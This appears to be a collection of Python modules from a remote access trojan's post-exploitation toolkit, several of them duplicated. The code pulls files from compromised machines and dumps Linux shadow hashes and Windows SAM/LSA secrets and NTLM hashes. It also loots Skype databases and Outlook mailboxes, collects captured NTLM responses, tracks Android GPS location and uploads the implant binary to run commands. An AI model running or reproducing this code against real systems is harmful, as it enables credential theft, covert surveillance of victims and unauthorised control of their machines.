def run(self, args): ros = self.client.conn.modules["os"] remote_file = ros.path.expandvars(args.remote_file) rep = os.path.join("data", "downloads", self.client.short_name()) if args.local_file: local_file = os.path.expandvars(args.local_file) else: local_file = None if not local_file: try: os.makedirs(rep) except Exception: pass local_file = os.path.join( rep, os.path.basename(remote_file.replace("\\", os.sep).replace("/", os.sep).rstrip("/\\")) ) elif os.path.isdir(local_file): local_file = os.path.join(local_file, ros.path.basename(remote_file)) self.info("downloading %s ..." % remote_file) start_time = time.time() download(self.client.conn, remote_file, local_file) self.success("file downloaded from remote:%s to local:%s" % (remote_file, local_file)) size = os.path.getsize(local_file) total_time = round(time.time() - start_time, 2) self.info( "%s bytes downloaded in: %ss. average %sKB/s" % (size, total_time, round((size / total_time) / 10 ** 3, 2)) )
def run(self, args): ros = self.client.conn.modules['os'] remote_file = ros.path.expandvars(args.remote_file) rep = os.path.join("data", "downloads", self.client.short_name()) if args.local_file: local_file = os.path.expandvars(args.local_file) else: local_file = None if not local_file: try: os.makedirs(rep) except Exception: pass local_file = os.path.join( rep, os.path.basename( remote_file.replace("\\", os.sep).replace("/", os.sep).rstrip("/\\"))) elif os.path.isdir(local_file): local_file = os.path.join(local_file, ros.path.basename(remote_file)) self.info("downloading %s ..." % remote_file) start_time = time.time() download(self.client.conn, remote_file, local_file) self.success("file downloaded from remote:%s to local:%s" % (remote_file, local_file)) size = os.path.getsize(local_file) total_time = round(time.time() - start_time, 2) self.info("%s bytes downloaded in: %ss. average %sKB/s" % (size, total_time, round((size / total_time) / 10**3, 2)))
def linux(self): known = set() hashes = [] def add_hashes(line): user, hsh, rest = line.split(":", 2) if not hsh in ("!", "*", "x") and not (user, hsh) in known: known.add((user, hsh)) hashes.append(line) try: passwd = os.path.join(self.rep, "passwd") download(self.client.conn, "/etc/passwd", passwd) with open(passwd, "r") as fpasswd: for line in fpasswd.readlines(): add_hashes(line) except Exception as e: self.error("/etc/passwd is not accessible: {}".format(e)) try: shadow = os.path.join(self.rep, "shadow") download(self.client.conn, "/etc/shadow", shadow) with open(shadow, "r") as fshadow: for line in fshadow.readlines(): add_hashes(line) except Exception as e: self.error("/etc/shadow is not accessible: {}".format(e)) self.client.load_package("pupyutils.safepopen") sopen = self.client.conn.modules["pupyutils.safepopen"].SafePopen try: with open(os.path.join(self.rep, "getent.passwd"), "w") as passwd: for line in sopen(["getent", "passwd"]).execute(): if line: add_hashes(line) except Exception as e: self.error("getent passwd failed: {}: {}".format(type(e), e.message)) try: with open(os.path.join(self.rep, "getent.shadow"), "w") as shadow: for line in sopen(["getent", "shadow"]).execute(): if line: add_hashes(line) except Exception as e: self.error("getent shadow failed: {}: {}".format(type(e), e.message)) db = Credentials() db.add([{"hashes": hsh, "Tool": "Creddump", "uid": self.client.short_name()} for hsh in hashes]) for hsh in hashes: self.log("{}".format(hsh))
def run(self, args): remote_file=self.client.conn.modules['os.path'].expandvars(args.remote_file) rep=os.path.join("data","downloads",self.client.short_name()) if not args.local_file: try: os.makedirs(rep) except Exception: pass args.local_file=os.path.join(rep, os.path.basename(remote_file.replace("\\",os.sep).replace("/",os.sep).rstrip("/\\"))) self.info("downloading %s ..."%remote_file) download(self.client.conn, remote_file, args.local_file) self.success("file downloaded from remote:%s to local:%s"%(remote_file, args.local_file))
def downloadInveighFiles (self, remote_temp_folder, localFolder): ''' ''' nb = 0 if self.client.conn.modules['os.path'].isfile(self.path_log_out_file): out_file = os.path.join(localFolder, self.LOG_OUT_FILE) self.success("Downloading Inveigh log file in {0}".format(out_file)) download(self.client.conn, self.path_log_out_file, out_file) self.printFile(out_file) nb += 1 if self.client.conn.modules['os.path'].isfile(self.path_ntlmv1_out_file): out_file = os.path.join(localFolder, self.NTLMV1_OUT_FILE) self.success("Downloading Inveigh ntlmv1 file in {0}".format(out_file)) download(self.client.conn, self.path_ntlmv1_out_file, out_file) self.printFile(out_file) nb += 1 if self.client.conn.modules['os.path'].isfile(self.path_ntlmv2_out_file): out_file = os.path.join(localFolder, self.NTLMV2_OUT_FILE) self.success("Downloading Inveigh ntlmv2 file in {0}".format(out_file)) download(self.client.conn, self.path_ntlmv2_out_file, out_file) self.printFile(out_file) nb += 1 if self.client.conn.modules['os.path'].isfile(self.path_cleartext_out_file): out_file = os.path.join(localFolder, self.CLEARTEXT_OUT_FILE) self.success("Downloading Inveigh cleartext file in {0}".format(out_file)) download(self.client.conn, self.path_cleartext_out_file, out_file) self.printFile(out_file) nb += 1 return nb
def downloadOSTFile(self): ''' Return file downloaded or None ''' paths = self.getPathToOSTFiles() if len(paths) > 0: filename = self.module.client.conn.modules['os.path'].basename( paths[0]) logging.debug("Downloading the file {0} to {1}".format( paths[0], self.localFolder)) download(self.module.client.conn, paths[0], os.path.join(self.localFolder, filename)) return paths[0] else: return None
def run(self, args): logger.debug("run(args) was called.") if os.path.isfile(args.local_file): warning("\"{}\" already exists locally.".format(args.local_file)) else: logger.info("Attempting to download file...") info("Attempting to download file...") try: download(self.client.conn, args.remote_file, args.local_file) logger.info("File transfer complete.") success("File transfer complete.") except ValueError as e: error("Cannot download file")
def run(self, args): logger.debug("run(args) was called.") if os.path.isfile(args.local_file): warning("\"{}\" already exists locally.".format(args.local_file)) else: logger.info("Attempting to download file...") info("Attempting to download file...") try: download(self.client.conn, args.remote_file, args.local_file) logger.info("File transfer complete.") success("File transfer complete.") except KeyboardInterrupt: logger.info("Caught Ctrl-C") except ValueError as e: error("Cannot download file")
def run(self, args): self.terminate = self.client.conn.modules['threading'].Event() if args.download: args.no_content = True s = self.client.conn.modules['pupyutils.search'].Search( args.filename, strings=args.strings, max_size=args.max_size, root_path=args.path, follow_symlinks=args.links, no_content=args.no_content, terminate=self.terminate) download_folder = None ros = None if args.download: config = self.client.pupsrv.config or PupyConfig() download_folder = config.get_folder( 'searches', {'%c': self.client.short_name()}) ros = self.client.conn.modules['os'] for res in s.run(): if args.strings and not args.no_content: self.success('{}: {}'.format(*res)) else: if args.download and download is not None and ros is not None: dest = res.replace('!', '!!').replace('/', '!').replace('\\', '!') dest = os.path.join(download_folder, dest) try: size = ros.path.getsize(res) download(self.client.conn, res, dest, chunk_size=min(size, 8 * 1024 * 1024)) self.success('{} -> {} ({})'.format(res, dest, size)) except Exception, e: self.error('{} -> {}: {}'.format(res, dest, e)) else: self.success('{}'.format(res))
def run(self, args): self.terminate = self.client.conn.modules['threading'].Event() if args.download: args.no_content = True s = self.client.conn.modules['pupyutils.search'].Search( args.filename, strings=args.strings, max_size=args.max_size, root_path=args.path, follow_symlinks=args.links, no_content=args.no_content, terminate=self.terminate ) download_folder = None ros = None if args.download: config = self.client.pupsrv.config or PupyConfig() download_folder = config.get_folder('searches', {'%c': self.client.short_name()}) ros = self.client.conn.modules['os'] for res in s.run(): if args.strings and not args.no_content: self.success('{}: {}'.format(*res)) else: if args.download and download is not None and ros is not None: dest = res.replace('!', '!!').replace('/', '!').replace('\\', '!') dest = os.path.join(download_folder, dest) try: size = ros.path.getsize(res) download( self.client.conn, res, dest, chunk_size=min(size, 8*1024*1024)) self.success('{} -> {} ({})'.format(res, dest, size)) except Exception, e: self.error('{} -> {}: {}'.format(res, dest, e)) else: self.success('{}'.format(res))
def windows(self): self.client.load_package("lootskype") dbs = self.client.conn.modules["lootskype"].dump() if dbs: looted_dbs = [] for index, db in enumerate(dbs): db_name = db.split('\\')[-2] + '.db' user_db = os.path.join(self.rep, db_name) self.log( 'Looting database for Skype user {0} ({1}/{2})'.format( db_name, (index + 1), len(dbs))) download(self.client.conn, db, user_db) looted_dbs.append(user_db) self.success( "Skype databases looted, search the databases with gather/search_skype :)" ) else: self.error('no Skype databases found')
def downloadInveighFiles(self, remote_temp_folder, localFolder): ''' ''' nb = 0 if self.client.conn.modules['os.path'].isfile(self.path_log_out_file): out_file = os.path.join(localFolder, self.LOG_OUT_FILE) self.success( "Downloading Inveigh log file in {0}".format(out_file)) download(self.client.conn, self.path_log_out_file, out_file) self.printFile(out_file) nb += 1 if self.client.conn.modules['os.path'].isfile( self.path_ntlmv1_out_file): out_file = os.path.join(localFolder, self.NTLMV1_OUT_FILE) self.success( "Downloading Inveigh ntlmv1 file in {0}".format(out_file)) download(self.client.conn, self.path_ntlmv1_out_file, out_file) self.printFile(out_file) nb += 1 if self.client.conn.modules['os.path'].isfile( self.path_ntlmv2_out_file): out_file = os.path.join(localFolder, self.NTLMV2_OUT_FILE) self.success( "Downloading Inveigh ntlmv2 file in {0}".format(out_file)) download(self.client.conn, self.path_ntlmv2_out_file, out_file) self.printFile(out_file) nb += 1 if self.client.conn.modules['os.path'].isfile( self.path_cleartext_out_file): out_file = os.path.join(localFolder, self.CLEARTEXT_OUT_FILE) self.success( "Downloading Inveigh cleartext file in {0}".format(out_file)) download(self.client.conn, self.path_cleartext_out_file, out_file) self.printFile(out_file) nb += 1 return nb
def run(self, args): if not args.arguments: self.error('No command specified {}'.format(args.__dict__)) return cmdargs = args.arguments to_upload = [] to_download = [] rexpandvars = self.client.remote('os.path', 'expandvars') rexists = self.client.remote('os.path', 'exists') rchmod = self.client.remote('os', 'chmod') safe_exec = self.client.remote('pupyutils.safepopen', 'safe_exec', False) for i, arg in enumerate(cmdargs): for local, direction, remote in self.updl.findall(arg): if local == '$SELF$': platform = self.client.platform if not platform in ('windows', 'linux'): self.error( 'Couldn\'t use $SELF$ on platform {}'.format( platform)) xlocal = '$SELF$' else: xlocal = os.path.expandvars(local) xremote = rexpandvars(remote) if direction == '<': to_download.append((xremote, xlocal)) else: if xlocal == '$SELF$': mode = 0711 to_upload.append((xlocal, xremote, mode)) else: if not os.path.exists(xlocal): self.error( 'No local file {} found (scheduled for upload)' .format(xlocal)) mode = os.stat(xlocal).st_mode to_upload.append((xlocal, xremote, mode)) arg = arg.replace('^' + local + '^' + direction + remote + '^', remote) cmdargs[i] = arg for local, remote, mode in to_upload: if local == '$SELF$': platform = self.client.platform arch = '' config = self.client.get_conf() payload = b'' if self.client.is_proc_arch_64_bits(): if platform == 'windows': payload = pupygen.get_edit_pupyx64_exe(config) else: payload = pupygen.get_edit_pupyx64_lin(config) arch = 'x64' else: if platform == 'windows': payload = pupygen.get_edit_pupyx86_exe(config) else: payload = pupygen.get_edit_pupyx86_lin(config) arch = 'x86' with tempfile.NamedTemporaryFile() as tmp: self.info('Store pupy/{}/{}/size={} to {}'.format( platform, arch, len(payload), tmp.name)) tmp.write(payload) tmp.flush() self.info('Upload {} -> {}'.format(tmp.name, remote)) upload(self.client.conn, tmp.name, remote) else: self.info('Upload {} -> {}'.format(local, remote)) upload(self.client.conn, local, remote) rchmod(remote, mode) cmdenv = { 'stderr': (None if args.n else subprocess.STDOUT), 'universal_newlines': False, } if len(cmdargs) == 1 and ' ' in cmdargs[0]: cmdenv.update({'shell': True}) cmdargs = cmdargs[0] else: cmdenv.update({'shell': False}) if args.s: cmdargs = [ 'cmd.exe', '/c', ] + cmdargs if self.client.is_windows() else [ '/bin/sh', '-c', ' '.join('"' + x.replace('"', '\"') + '"' for x in cmdargs) ] if args.set_uid: cmdenv.update({'suid': args.set_uid}) close_event = threading.Event() def on_read(data): self.stdout.write(data) self.terminate_pipe, get_returncode = safe_exec( None if args.N else on_read, close_event.set, tuple(cmdargs), **cmdenv) if hasattr(self.job, 'id'): self.success('Started at {}): '.format(datetime.datetime.now())) close_event.wait() retcode = get_returncode() if retcode == 0: self.success('Successful at {}: '.format(datetime.datetime.now())) else: self.error('Ret: {} at {}'.format(retcode, datetime.datetime.now())) for remote, local in to_download: if rexists(remote): self.info('Download {} -> {}'.format(remote, local)) download(self.client.conn, remote, local) else: self.error( 'Remote file {} not exists (scheduled for download)'. format(remote))
def linux(self): known = set() hashes = [] def add_hashes(line): user, hsh, rest = line.split(':', 2) if not hsh in ('!', '*', 'x') and not (user, hsh) in known: known.add((user, hsh)) hashes.append(line) try: passwd = os.path.join(self.rep, 'passwd') download(self.client.conn, '/etc/passwd', passwd) with open(passwd, 'r') as fpasswd: for line in fpasswd.readlines(): add_hashes(line) except Exception as e: self.error('/etc/passwd is not accessible: {}'.format(e)) try: shadow = os.path.join(self.rep, 'shadow') download(self.client.conn, '/etc/shadow', shadow) with open(shadow, 'r') as fshadow: for line in fshadow.readlines(): add_hashes(line) except Exception as e: self.error('/etc/shadow is not accessible: {}'.format(e)) rsubprocess = self.client.conn.modules.subprocess try: with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd: for line in rsubprocess.check_output('getent passwd', shell=True).split('\n'): if not line: continue add_hashes(line) passwd.write(line + '\n') except Exception as e: self.error('getent passwd failed: {}: {}'.format( type(e), e.message)) try: with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow: for line in rsubprocess.check_output('getent shadow', shell=True).split('\n'): if not line: continue add_hashes(line) shadow.write(line + '\n') except Exception as e: self.error('getent shadow failed: {}: {}'.format( type(e), e.message)) self.db.add([{ 'Hash': ':'.join(hsh.split(':')[1:]), 'Login': hsh.split(':')[0], 'Category': 'Shadow hash', 'CredType': 'hash' } for hsh in hashes]) for hsh in hashes: self.log('{}'.format(hsh)) self.success("Hashes stored on the database")
def windows(self): # First, we download the hives... #detect windows version is_vista = False try: if self.client.conn.modules['sys'].getwindowsversion()[0] >= 6: is_vista = True self.info("windows > vista detected") else: self.info("windows < vista detected") except: self.warning( "windows version couldn't be determined. supposing vista=False" ) self.success("saving SYSTEM hives in %TEMP%...") cmds = ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM", "reg save HKLM\\SECURITY %TEMP%/SECURITY", "reg save HKLM\\SAM %TEMP%/SAM") if is_vista: cmds = (x + ' /y' for x in cmds) for cmd in cmds: self.info("running %s..." % cmd) self.log(shell_exec(self.client, cmd)) self.success("hives saved!") remote_temp = self.client.conn.modules['os.path'].expandvars("%TEMP%") self.info("downloading SYSTEM hive...") download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"), os.path.join(self.rep, "SYSTEM")) self.info("downloading SECURITY hive...") download(self.client.conn, ntpath.join(remote_temp, "SECURITY"), os.path.join(self.rep, "SECURITY")) self.info("downloading SAM hive...") download(self.client.conn, ntpath.join(remote_temp, "SAM"), os.path.join(self.rep, "SAM")) self.success("hives downloaded to %s" % self.rep) # Cleanup self.success("cleaning up saves...") try: self.client.conn.modules.os.remove( ntpath.join(remote_temp, "SYSTEM")) self.client.conn.modules.os.remove( ntpath.join(remote_temp, "SECURITY")) self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM")) self.success("saves deleted") except Exception as e: self.warning("error deleting temporary files: %s" % str(e)) # Time to run creddump! hashes = [] # HiveFileAddressSpace - Volatilty sysaddr = HiveFileAddressSpace(os.path.join(self.rep, "SYSTEM")) secaddr = HiveFileAddressSpace(os.path.join(self.rep, "SECURITY")) samaddr = HiveFileAddressSpace(os.path.join(self.rep, "SAM")) # Print the results self.success("dumping cached domain passwords...") for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista): self.log("%s:%s:%s:%s" % (u.lower(), h.encode('hex'), d.lower(), dn.lower())) hashes.append({ 'Login': u.lower(), 'Hash': "%s:%s:%s" % (h.encode('hex'), d.lower(), dn.lower()), 'Category': 'MSCACHE hash', 'CredType': 'hash' }) self.success("dumping LM and NT hashes...") bootkey = get_bootkey(sysaddr) hbootkey = get_hbootkey(samaddr, bootkey) for user in get_user_keys(samaddr): lmhash, nthash = get_user_hashes(user, hbootkey) if not lmhash: lmhash = empty_lm if not nthash: nthash = empty_nt self.log("%s:%d:%s:%s:::" % (get_user_name(user), int( user.Name, 16), lmhash.encode('hex'), nthash.encode('hex'))) hashes.append({ 'Login': get_user_name(user), 'Hash': "%s:%s" % (lmhash.encode('hex'), nthash.encode('hex')), 'Category': 'NTLM hash', 'CredType': 'hash' }) self.db.add(hashes) self.success("Hashes stored on the database") self.success("dumping lsa secrets...") secrets = get_file_secrets(os.path.join(self.rep, "SYSTEM"), os.path.join(self.rep, "SECURITY"), is_vista) if not secrets: self.error( "unable to read LSA secrets, perhaps the hives are corrupted") return for key in secrets: self.log(key) self.log(self.dump(secrets[key], length=16)) # The End! (hurrah) self.success("dump was successfull!")
def linux(self): known = set() hashes = [] def add_hashes(line): user, hsh, rest = line.split(':', 2) if not hsh in ('!','*','x') and not (user, hsh) in known: known.add((user, hsh)) hashes.append(line) try: passwd = os.path.join(self.rep, 'passwd') download( self.client.conn, '/etc/passwd', passwd ) with open(passwd, 'r') as fpasswd: for line in fpasswd.readlines(): add_hashes(line) except Exception as e: self.error('/etc/passwd is not accessible: {}'.format(e)) try: shadow = os.path.join(self.rep, 'shadow') download( self.client.conn, '/etc/shadow', shadow ) with open(shadow, 'r') as fshadow: for line in fshadow.readlines(): add_hashes(line) except Exception as e: self.error('/etc/shadow is not accessible: {}'.format(e)) self.client.load_package('pupyutils.safepopen') sopen = self.client.conn.modules['pupyutils.safepopen'].SafePopen try: with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd: for line in sopen(['getent', 'passwd']).execute(): if line: add_hashes(line) except Exception as e: self.error('getent passwd failed: {}: {}'.format(type(e), e.message)) try: with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow: for line in sopen(['getent', 'shadow']).execute(): if line: add_hashes(line) except Exception as e: self.error('getent shadow failed: {}: {}'.format(type(e), e.message)) db = Credentials() db.add([ {'Hash':':'.join(hsh.split(':')[1:]), 'Login': hsh.split(':')[0], 'Category': 'Shadow hash', 'uid':self.client.short_name(), 'CredType': 'hash'} for hsh in hashes ]) for hsh in hashes: self.log('{}'.format(hsh)) self.success("Hashes stored on the database")
def run(self, args): self.client.load_package("pupydroid.gpsTracker") self.client.load_package("pupydroid.utils") androidID = self.client.conn.modules['pupydroid.utils'].getAndroidID() self.localFolder = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=androidID, userName=self.client.desc['user']) gpsTracker = self.client.conn.modules['pupydroid.gpsTracker'].GpsTracker(period=args.period, inMemory=args.in_memory) if args.is_GPS_enabled == True: self.success("Is GPS enabled?") print gpsTracker.isGPSenabled() if args.is_network_rovider_enabled == True: self.success("Is Network Provider enabled?") print gpsTracker.isNetworkProviderEnabled() if args.get_position == True: if gpsTracker.isNetworkProviderEnabled() == False and gpsTracker.isGPSenabled()==False: self.error("GPS or Network Provider is not enabled on the device. You should not be able to get location!") return else: self.success("GPS or Network Provider is enabled on the device. You should be able to get location!") lat, lon = None, None gpsTracker.enable() for nbRetry in range(3): self.success("Getting current location...") lat, lon = gpsTracker.getCurrentLocation() if lat==None and lon==None: self.error("Impossible to get location, retrying...") sleep(5) else: self.success("Current location:") print "latitude: {0} , longitude: {1}".format(lat, lon) break gpsTracker.disable() if args.start: r = self.client.conn.modules["pupydroid.gpsTracker"].startGpsTracker(period=args.period) if r == True: self.success("Tracking enabled. Get GPS position each {0} secds".format(args.period)) else: self.error("Tracking not enabled because already activated") elif args.stop: self.success("Stopping GPS tracking... (can take {0} secds)".format(args.period)) r = self.client.conn.modules["pupydroid.gpsTracker"].stopGpsTracker() if r == True: self.success("Tracking stopped") else: self.error("Tracking not stopped because not activated") elif args.dump: filename = os.path.join(self.localFolder,"gpsTraces.csv") if args.in_memory==False: traces = [] download(self.client.conn, "keflfjezomef.csv",filename) self.success("GPS positions downloaded in {0}".format(filename)) f = csv.DictReader(open(filename)) for row in f: traces.append([row['date'].replace(' ',''),row['latitude'].replace(' ',''),row['longitude'].replace(' ','')]) else: traces = self.client.conn.modules["pupydroid.gpsTracker"].dumpGpsTracker() self.success("{0} GPS positions".format(len(traces))) if len(traces)>0: if args.in_memory==True: f=open(filename,'w') f.write("Date, Lat, Lon\n") for aPos in traces: f.write("{0}, {1}, {2}\n".format(aPos[0], aPos[1], aPos[2])) f.close() self.success("GPS positions (.csv) saved in {0}".format(filename)) kmlFilename = os.path.join(self.localFolder,"gpsTraces.kml") generateKML(androidID, traces, outputFile=kmlFilename) self.success("KML file created in {0}".format(kmlFilename)) else: self.error("No GPS positions get. You should start GPS tracking or wait a moment") elif args.status: if self.client.conn.modules["pupydroid.gpsTracker"].statusGpsTracker() == True: self.success("GPS tracking is enabled") else: self.success("GPS tracking is NOT enabled") elif args.clean: status = self.client.conn.modules["pupydroid.gpsTracker"].deleteFile() if status == True: self.success("Trace file deleted from device") else: self.error("Impossible to delete trace file on device") self.error("Gps Tracking has never been enabled or it is running")
def run(self, args): ''' ''' self.client.load_package("outlook") localFolder=args.localOutputFolder self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'], self.client.desc['user'], self.client.desc['macaddr'].replace(':',''))) if not os.path.exists(self.localFolder): logging.debug("Creating the {0} folder locally".format(self.localFolder)) os.makedirs(self.localFolder) if args.folderId != None: self.warning('Notice the folder Id option will be used and the default folder option will be disabled') outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType) if args.downloadOST == True: self.success("Trying to download Outlook OST file of the targeted current user") paths = outlook.getPathToOSTFiles() if len(paths)>0: localPath = os.path.join(self.localFolder, ''.join(l for l in paths[0][0].encode('ascii','ignore') if l.isalnum())) self.success("Downloading the file {0} to {1}...".format(paths[0][1], localPath)) download(self.client.conn, paths[0][1], localPath) self.success("OST file downloaded from {0} to {1}".format(paths[0][1], localPath)) else: self.error("OST file not found or an error occured") if outlook.outlookIsInstalled() == True: self.success("Outlook application seems to be installed on the target, trying to connect to MAPI...") if outlook.connect() == True: self.success("Connected to outlook application trough MAPI") else: self.error("Impossible to connect to outlook application trough MAPI. Abording!") return else: self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!") return if args.information == True: info = outlook.getInformation() for key, value in info.iteritems(): self.success("{0}: {1}".format(key, value)) if args.foldersAndSubFolders == True: self.success("Outlook folders and subfolders:") foldersAndSubFolders = outlook.getAllFolders() for i,folder in enumerate(foldersAndSubFolders): print "{0}: {1}".format(i, folder.encode('utf-8')) for j,subFolder in enumerate(foldersAndSubFolders[folder]): print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8')) if args.numberOfEmails == True: self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder)) nb = outlook.getNbOfEmails() self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, nb)) if args.downloadAllEmails == True: self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder)) nb = outlook.getNbOfEmails() if nb == 0: self.error("This box is empty. You should choose another outlook folder") else: self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder)) self.success("You can use msgconvert for reading these emails locally") self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.") self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)") logging.debug("Downloading all emails") for i, anEmail in enumerate(outlook.getEmails()): aPathToMailFile, filename = outlook.getAMailFile(anEmail) sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,outlook.getNbOfEmails(), colorize("[+] ","green"))) sys.stdout.flush() localPathToFile = os.path.join(self.localFolder, filename) logging.debug("Downloading the file {0} to {1}".format(aPathToMailFile, localPathToFile)) download(self.client.conn, aPathToMailFile, localPathToFile) logging.debug("Deleting {0}".format(aPathToMailFile)) outlook.deleteTempMailFile(aPathToMailFile) print "\n" self.success("Download completed!") if args.search == True: self.success("Searching '{0}' in emails stored in {1} folder...".format(args.strings, args.outlookFolder)) localPathToFile = os.path.join(self.localFolder, "research.txt") emails = outlook.searchStringsInEmails(strings=args.strings, separator=',') if len(emails) > 0: self.success("{0} emails found with {1}".format(len(emails), args.strings)) else: self.error("{0} emails found with {1}".format(len(emails), args.strings)) f = open(localPathToFile,"w") for i, anEmail in enumerate(emails): f.write("-"*100+'\n') f.write("[+] Email {0}\n".format(i)) f.write("-"*100+'\n') f.write("Subject: {0}\n".format(anEmail['subject'].encode('utf8'))) f.write("Body: {0}\n".format(anEmail['body'].encode('utf8'))) self.success("Research completed!") self.success("See the following file for results: {0}".format(localPathToFile)) f.close()
def linux(self): known = set() hashes = [] def add_hashes(line): user, hsh, rest = line.split(':', 2) if not hsh in ('!','*','x') and not (user, hsh) in known: known.add((user, hsh)) hashes.append(line) try: passwd = os.path.join(self.rep, 'passwd') download( self.client.conn, '/etc/passwd', passwd ) with open(passwd, 'r') as fpasswd: for line in fpasswd.readlines(): add_hashes(line) except Exception as e: self.error('/etc/passwd is not accessible: {}'.format(e)) try: shadow = os.path.join(self.rep, 'shadow') download( self.client.conn, '/etc/shadow', shadow ) with open(shadow, 'r') as fshadow: for line in fshadow.readlines(): add_hashes(line) except Exception as e: self.error('/etc/shadow is not accessible: {}'.format(e)) rsubprocess = self.client.conn.modules.subprocess try: with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd: for line in rsubprocess.check_output('getent passwd', shell=True).split('\n'): if not line: continue add_hashes(line) passwd.write(line+'\n') except Exception as e: self.error('getent passwd failed: {}: {}'.format(type(e), e.message)) try: with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow: for line in rsubprocess.check_output('getent shadow', shell=True).split('\n'): if not line: continue add_hashes(line) shadow.write(line+'\n') except Exception as e: self.error('getent shadow failed: {}: {}'.format(type(e), e.message)) self.db.add([{ 'Hash':':'.join(hsh.split(':')[1:]), 'Login': hsh.split(':')[0], 'Category': 'Shadow hash', 'CredType': 'hash' } for hsh in hashes ]) for hsh in hashes: self.log('{}'.format(hsh)) self.success("Hashes stored on the database")
def run(self, args): # First, we download the hives... rep=os.path.join("data","downloads",self.client.short_name(),"hives") try: os.makedirs(rep) except Exception: pass self.info("saving SYSTEM hives in %TEMP%...") for cmd in ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM /y", "reg save HKLM\\SECURITY %TEMP%/SECURITY /y", "reg save HKLM\\SAM %TEMP%/SAM /y"): self.info("running %s..." % cmd) self.log(shell_exec(self.client, cmd)) self.success("hives saved!") remote_temp=self.client.conn.modules['os.path'].expandvars("%TEMP%") self.info("downloading SYSTEM hive...") download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"), os.path.join(rep, "SYSTEM")) self.info("downloading SECURITY hive...") download(self.client.conn, ntpath.join(remote_temp, "SECURITY"), os.path.join(rep, "SECURITY")) self.info("downloading SAM hive...") download(self.client.conn, ntpath.join(remote_temp, "SAM"), os.path.join(rep, "SAM")) self.success("hives downloaded to %s" % rep) # Cleanup self.info("cleaning up saves...") try: self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SYSTEM")) self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SECURITY")) self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM")) self.success("saves deleted") except Exception as e: self.warning("error deleting temporary files: %s"%str(e)) # Time to run creddump! # HiveFileAddressSpace - Volatilty sysaddr = HiveFileAddressSpace(os.path.join(rep, "SYSTEM")) secaddr = HiveFileAddressSpace(os.path.join(rep, "SECURITY")) samaddr = HiveFileAddressSpace(os.path.join(rep, "SAM")) #detect windows version is_vista=False try: if self.client.conn.modules['sys'].getwindowsversion()[0] >=6: is_vista=True self.info("windows > vista detected") else: self.info("windows < vista detected") except: self.warning("windows version couldn't be determined. supposing vista=False") # Print the results self.info("dumping cached domain passwords...") for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista): self.log("%s:%s:%s:%s" % (u.lower(), h.encode('hex'), d.lower(), dn.lower())) self.info("dumping LM and NT hashes...") bootkey = get_bootkey(sysaddr) hbootkey = get_hbootkey(samaddr,bootkey) for user in get_user_keys(samaddr): lmhash, nthash = get_user_hashes(user,hbootkey) if not lmhash: lmhash = empty_lm if not nthash: nthash = empty_nt self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex'))) self.info("dumping lsa secrets...") secrets = get_file_secrets(os.path.join(rep, "SYSTEM"), os.path.join(rep, "SECURITY"), is_vista) if not secrets: self.error("unable to read LSA secrets, perhaps the hives are corrupted") return for key in secrets: self.log(key) self.log(self.dump(secrets[key], length=16)) # The End! (hurrah) self.success("dump was successfull!")
def linux(self): known = set() hashes = [] def add_hashes(line): user, hsh, rest = line.split(':', 2) if not hsh in ('!', '*', 'x') and not (user, hsh) in known: known.add((user, hsh)) hashes.append(line) try: passwd = os.path.join(self.rep, 'passwd') download(self.client.conn, '/etc/passwd', passwd) with open(passwd, 'r') as fpasswd: for line in fpasswd.readlines(): add_hashes(line) except Exception as e: self.error('/etc/passwd is not accessible: {}'.format(e)) try: shadow = os.path.join(self.rep, 'shadow') download(self.client.conn, '/etc/shadow', shadow) with open(shadow, 'r') as fshadow: for line in fshadow.readlines(): add_hashes(line) except Exception as e: self.error('/etc/shadow is not accessible: {}'.format(e)) self.client.load_package('pupyutils.safepopen') sopen = self.client.conn.modules['pupyutils.safepopen'].SafePopen try: with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd: for line in sopen(['getent', 'passwd']).execute(): if line: add_hashes(line) except Exception as e: self.error('getent passwd failed: {}: {}'.format( type(e), e.message)) try: with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow: for line in sopen(['getent', 'shadow']).execute(): if line: add_hashes(line) except Exception as e: self.error('getent shadow failed: {}: {}'.format( type(e), e.message)) db = Credentials() db.add([{ 'Hash': ':'.join(hsh.split(':')[1:]), 'Login': hsh.split(':')[0], 'Category': 'Shadow hash', 'uid': self.client.short_name(), 'CredType': 'hash' } for hsh in hashes]) for hsh in hashes: self.log('{}'.format(hsh))
